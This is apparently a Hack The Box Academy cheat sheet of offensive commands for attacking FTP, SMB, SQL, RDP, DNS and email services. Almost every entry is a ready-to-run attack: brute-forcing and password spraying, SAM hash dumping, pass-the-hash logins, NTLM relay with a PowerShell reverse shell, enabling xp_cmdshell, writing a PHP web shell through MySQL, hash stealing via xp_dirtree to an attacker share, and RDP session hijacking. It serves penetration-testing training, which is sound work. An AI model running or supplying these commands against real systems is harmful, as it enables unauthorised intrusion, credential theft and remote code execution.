HACKTHEBOX

ATTACKING COMMON SERVICES
CHEAT SHEET

Attacking FTP

Command	Description
`ftp 192.168.2.142`	Connecting to the FTP server using the `ftp` client.
`nc -v 192.168.2.142 21`	Connecting to the FTP server using `netcat`.
`hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142`	Brute-forcing the FTP service.

Attacking SMB

Command	Description
`smbclient -N -L //10.129.14.128`	Null-session testing against the SMB service.
`smbmap -H 10.129.14.128`	Network share enumeration using `smbmap`.
`smbmap -H 10.129.14.128 -r notes`	Recursive network share enumeration using `smbmap`.
`smbmap -H 10.129.14.128 --download "notes\note.txt"`	Download a specific file from the shared folder.

Command	Description
`smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"`	Upload a specific file to the shared folder.
`rpcclient -U'%' 10.10.110.17`	Null-session with the `rpcclient`.
`./enum4linux-ng.py 10.10.11.45 -A -C`	Automated enumeratition of the SMB service using `enum4linux-ng`.
`crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!'`	Password spraying against different users from a list.
`impacket-psexec administrator:'Password123!'@10.10.110.17`	Connect to the SMB service using the `impacket-psexec`.
`crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec`	Execute a command over the SMB service using `crackmapexec`.
`crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users`	Enumerating Logged-on users.
`crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam`	Extract hashes from the SAM database.
`crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE`	Use the Pass-The-Hash technique to authenticate on the target host.
`impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146`	Dump the SAM database using `impacket-ntlmrelayx`.
`impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <base64 reverse shell>`	Execute a PowerShell based reverse shell using `impacket-ntlmrelayx`.

Attacking SQL Databases

Command	Description

Command	Description
`mysql -u julio -pPassword123 -h 10.129.20.13`	Connecting to the MySQL server.
`sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30`	Connecting to the MSSQL server.
`sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h`	Connecting to the MSSQL server from Linux.
`sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h`	Connecting to the MSSQL server from Linux while Windows Authentication mechanism is used by the MSSQL server.
`mysql> SHOW DATABASES;`	Show all available databases in MySQL.
`mysql> USE htbusers;`	Select a specific database in MySQL.
`mysql> SHOW TABLES;`	Show all available tables in the selected database in MySQL.
`mysql> SELECT * FROM users;`	Select all available entries from the "users" table in MySQL.
`sqlcmd> SELECT name FROM master.dbo.sysdatabases`	Show all available databases in MSSQL.
`sqlcmd> USE htbusers`	Select a specific database in MSSQL.
`sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES`	Show all available tables in the selected database in MSSQL.
`sqlcmd> SELECT * FROM users`	Select all available entries from the "users" table in MSSQL.
`sqlcmd> EXECUTE sp_configure 'show advanced options', 1`	To allow advanced options to be changed.
`sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1`	To enable the xp_cmdshell.

HTB ACADEMY CHEATSHEET

Command	Description
`sqlcmd> RECONFIGURE`	To be used after each sp_configure command to apply the changes.
`sqlcmd> xp_cmdshell 'whoami'`	Execute a system command from MSSQL server.
`mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'`	Create a file using MySQL.
`mysql> show variables like "secure_file_priv";`	Check if the the secure file privileges are empty to read locally stored files on the system.
`sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents`	Read local files in MSSQL.
`mysql> select LOAD_FILE("/etc/passwd");`	Read local files in MySQL.
`sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\'`	Hash stealing using the `xp_dirtree` command in MSSQL.
`sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\'`	Hash stealing using the `xp_subdirs` command in MSSQL.
`sqlcmd> SELECT srvname, isremote FROM sysservers`	Identify linked servers in MSSQL.
`sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]`	Identify the user and its privileges used for the remote connection in MSSQL.

Attacking RDP

Command	Description
`crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'`	Password spraying against the RDP service.

Command	Description
`hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp`	Brute-forcing the RDP service.
`rdesktop -u admin -p password123 192.168.2.143`	Connect to the RDP service using `rdesktop` in Linux.
`tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}`	Impersonate a user without its password.
`net start sessionhijack`	Execute the RDP session hijack.
`reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`	Enable "Restricted Admin Mode" on the target Windows host.
`xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA`	Use the Pass-The-Hash technique to login on the target host without a password.

Attacking DNS

Command	Description
`dig AXFR @ns1.inlanefreight.htb inlanefreight.htb`	Perform an AXFR zone transfer attempt against a specific name server.
`subfinder -d inlanefreight.com -v`	Brute-forcing subdomains.
`host support.inlanefreight.com`	DNS lookup for the specified subdomain.

Attacking Email Services

Command	Description
`host -t MX microsoft.com`	DNS lookup for mail servers for the specified domain.

Command	Description
`dig mx inlanefreight.com | grep "MX" | grep -v ";"`	DNS lookup for mail servers for the specified domain.
`host -t A mail1.inlanefreight.htb.`	DNS lookup of the IPv4 address for the specified subdomain.
`telnet 10.10.110.20 25`	Connect to the SMTP server.
`smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7`	SMTP user enumeration using the RCPT command against the specified host.
`python3 o365spray.py --validate --domain msplaintext.xyz`	Verify the usage of Office365 for the specified domain.
`python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz`	Enumerate existing users using Office365 on the specified domain.
`python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz`	Password spraying against a list of users that use Office365 for the specified domain.
`hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3`	Brute-forcing the POP3 service.
`swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213`	Testing the SMTP service for the open-relay vulnerability.